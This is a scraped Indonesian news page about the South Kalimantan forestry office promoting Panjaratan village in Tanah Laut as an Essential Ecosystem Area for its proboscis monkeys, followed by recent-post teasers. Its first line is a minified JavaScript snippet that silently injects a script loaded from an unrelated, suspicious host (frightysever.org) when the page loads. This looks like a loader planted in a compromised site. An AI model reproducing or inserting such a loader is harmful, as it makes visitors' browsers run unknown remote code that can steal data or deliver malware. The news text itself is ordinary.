(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Kalsel

Dishut Kalsel Dorong Sukses Lestarikan Alam Melalui Sosialisasi KEE


KANALKALIMANTAN.COM, PELAIHARI – Dinas Kehutanan (Dishut) Provinsi Kalimantan Selatan melakukan sosialisasi dalam hal pengembangan dan penanganan Kawasan Ekosistem Esensial (KEE) di wilayah Kabupaten Tanah Laut.

Acara ini dihadiri secara langsung, Kepala KPH Tanah Laut, Kepala Dinas Pariwisata Kabupaten Tanah Laut, Kepala Seksi Wilayah III BKSDA Provinsi Kalimantan Selatan, instansi dinas vertikal terkait di Kabupaten Tanah LautPT. Kintap Jaya Wattindo (KJW) Wilayah Pelaihari I dan II, LSM terkait yakni Gerakan Hijau Peduli Bekantan Tanah Laut serta , jajaran pengurus Pokdarwis Panjaratan Kabupaten Tanah Laut,

“Desa Panjaratan memiliki potensi wisata alam yang menarik untuk di jelajahi, salah satunya di wilayah ini terdapat satwa endemik yang menjadi daya tarik wisatawan lokal maupun mancanegara yakni Bekantan, sehingga kami mendukung secara penuh wilayah Desa Panjaratan menjadi Kawasan Ekosistem Esensial, sehingga menjadi daya tarik sendiri dan memiliki nilai ekonomi bagi masyarakat sekitar” ujar Kepala KPH Tanah Laut.

Untuk menunjang KEE di Desa Panjaratan perlunya tatanan yang teroganisir, yang di dukung dengan adanya kerjasama dan kolaborasi antara pemerintah, masyarakat dan LSM, agar terciptanya sinergi dalam rangka mengelola kelestarian flora dan fauna serta mengembangkan potensi budaya dan pariwisata di wilayah tersebut.

“Penetapan Kawasan Panjaratan sudah di tetapkan sejak tahun 2021 dengan SK Bupati TALA Nomor : 188.45/ 1121-KUM/2021, yang mana dengan adanya sosialisasi ini dapat mendorong kepengurusan secara terstruktur dan definitif terhadap KEE di wilayah Kabupaten Tanah Laut, khususnya di Panjaratan sesuai dengan regulasi yang berlaku , yang nantinya dapat di jadikan dasar untuk melakukakan kolaborasi secara aktif dengan Dinas Kehutanan, Dinas Pariwisata, BKSDA, serta dinas vertikal lainnya” ujar Kasi KSDAE Dinas Kehutanan Provinsi Kalimantan Selatan.
.
Kedepannya perlunya dialog secara berkelanjutan dengan dinas vertical terkait, pemerintah daerah,serta masyarakat agar wilayah KEE dapat bermanfaat dan menghasilkan nilai ekonomis bagi perkembangan perekonomian di Desa Panjaratan serta adanya tindak lanjut berupa rapat internal untuk merumuskan lembaga pengelola melalui forum kolaboratif KEE Panjaratan.(kanalkalimantan.com/kk)

Editor: kk

 


Muhammad Andi

Recent Posts

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

6 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

20 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

21 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

1 hari ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

1 hari ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

This website uses cookies.